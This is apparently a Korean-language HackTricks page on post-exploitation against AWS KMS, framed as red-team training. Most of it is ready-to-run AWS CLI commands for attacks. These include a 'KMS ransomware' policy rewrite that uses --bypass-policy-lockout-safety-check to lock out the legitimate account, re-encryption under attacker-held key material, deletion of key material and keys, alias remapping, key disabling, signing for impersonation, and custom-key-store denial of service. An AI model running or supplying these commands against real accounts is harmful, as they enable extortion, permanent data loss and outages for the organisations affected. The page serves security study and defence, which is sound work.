AWS - KMS Post Exploitation
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
KMS
자세한 내용은 다음을 확인하세요:
Encrypt/Decrypt information
fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:
fileb://:는 파일을 바이너리 모드로 읽습니다. 일반적으로 텍스트가 아닌 파일에 사용됩니다.file://:는 파일을 텍스트 모드로 읽습니다. 일반적으로 일반 텍스트 파일, 스크립트, 또는 특수 인코딩이 필요하지 않은 JSON에 사용됩니다.
Tip
파일 내부의 데이터를 복호화하려는 경우, 파일에는 base64로 인코딩된 데이터가 아닌 바이너리 데이터가 포함되어 있어야 합니다. (fileb://)
- 대칭 키 사용
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- asymmetric 키 사용:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
KMS에 대한 권한을 가진 공격자는 키의 KMS 정책을 수정하여 자신의 계정에 접근 권한을 부여하고, 정당한 계정에 부여된 접근을 제거할 수 있습니다.
그 결과 정당한 계정 사용자들은 해당 키로 암호화된 서비스의 어떤 정보에도 접근할 수 없게 되어, 계정 전체에 대해 쉽지만 효과적인 ransomware를 만들어냅니다.
Warning
참고: 이 공격은 AWS managed keys에 영향을 주지 않으며, 오직 Customer managed keys에만 영향을 줍니다.
또한 파라미터 **
--bypass-policy-lockout-safety-check**를 사용해야 한다는 점에 유의하십시오 (web console에는 이 옵션이 없어 이 공격은 오직 CLI에서만 가능합니다).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
정책을 변경하여 외부 계정에만 액세스를 허용한 다음, 그 외부 계정에서 원래 계정으로 액세스를 되돌리기 위해 새 정책을 설정하려고 해도, 원래 계정으로 액세스를 되돌려주는 새 정책을 설정하려고 하면 불가능합니다. 이유는 Put Polocy action은 cross account에서 수행할 수 없기 때문입니다.
.png)
일반적인 KMS Ransomware
글로벌 KMS Ransomware를 수행하는 또 다른 방법은 다음 단계를 포함합니다:
- 공격자가 가져온 key material이 포함된 새 키를 생성한다
- 피해자의 이전 버전으로 암호화된 오래된 데이터를 새 키로 재암호화한다
- KMS 키를 삭제한다
- 이제 원본 key material을 가진 공격자만 암호화된 데이터를 복호화할 수 있게 된다
kms:DeleteImportedKeyMaterial를 통한 키 삭제
권한 kms:DeleteImportedKeyMaterial을 가진 주체는 Origin=EXTERNAL인 CMK(키 재료를 가져온 CMK)에서 가져온 키 재료를 삭제할 수 있으며, 그 결과 해당 CMK로는 데이터를 복호화할 수 없게 됩니다. 이 작업은 파괴적이며, 호환되는 키 재료가 다시 가져오지 않는 한 되돌릴 수 없습니다. 따라서 공격자는 암호화된 정보를 영구적으로 접근 불가능하게 만들어 사실상 ransomware-like 데이터 손실을 초래할 수 있습니다.
aws kms delete-imported-key-material --key-id <Key_ID>
키 파괴
키를 파괴하면 DoS를 수행할 수 있다.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
AWS가 이제 이전 작업들이 교차 계정에서 수행되는 것을 방지한다는 점에 유의하세요:
Alias 변경 또는 삭제
이 공격은 AWS KMS의 alias를 삭제하거나 재지정하여 키 해석을 무력화하고, 해당 alias에 의존하는 서비스들에 즉시 장애를 일으켜 denial-of-service를 초래합니다. kms:DeleteAlias 또는 kms:UpdateAlias 같은 권한이 있으면 공격자는 alias를 제거하거나 재지정하여 암호화 연산(예: encrypt, describe)을 방해할 수 있습니다. key ID 대신 alias를 참조하는 서비스는 alias가 복구되거나 올바르게 재매핑될 때까지 실패할 수 있습니다.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
권한(예: kms:CancelKeyDeletion 및 kms:EnableKey)이 있으면 공격자는 AWS KMS customer master key의 예정된 삭제를 취소하고 나중에 다시 활성화할 수 있습니다. 이렇게 하면 키가 복구(초기에는 Disabled 상태)되고 이전에 보호된 데이터를 복호화할 수 있는 기능이 복원되어 exfiltration이 가능해집니다.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
키 비활성화
kms:DisableKey 권한이 있으면 행위자는 AWS KMS customer master key를 비활성화하여 해당 키를 encryption이나 decryption에 사용할 수 없게 만들 수 있습니다. 이는 해당 CMK에 의존하는 모든 서비스의 접근을 차단하여 키가 다시 활성화될 때까지 즉시 중단이나 denial-of-service를 초래할 수 있습니다.
aws kms disable-key \
--key-id <key_id>
Derive Shared Secret
kms:DeriveSharedSecret 권한이 있으면, 행위자는 KMS에 보관된 private key와 사용자 제공 public key를 사용해 ECDH shared secret을 계산할 수 있습니다.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
kms:Sign을 통한 사칭
kms:Sign 권한을 가진 행위자는 KMS에 저장된 CMK를 사용해 private key를 노출하지 않고도 데이터를 암호학적으로 서명하여, 사칭을 가능하게 하거나 악의적 행위를 승인할 수 있는 유효한 서명을 생성할 수 있다.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, kms:UpdateCustomKeyStore 같은 권한을 가진 행위자는 AWS KMS Custom Key Store (CKS)를 수정, 연결 해제 또는 삭제하여 해당 마스터 키를 작동 불능으로 만들 수 있습니다. 이는 해당 키에 의존하는 서비스들의 encryption, decryption, and signing operations을 중단시키고 즉각적인 denial-of-service를 초래할 수 있습니다. 따라서 이러한 권한을 제한하고 모니터링하는 것이 매우 중요합니다.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

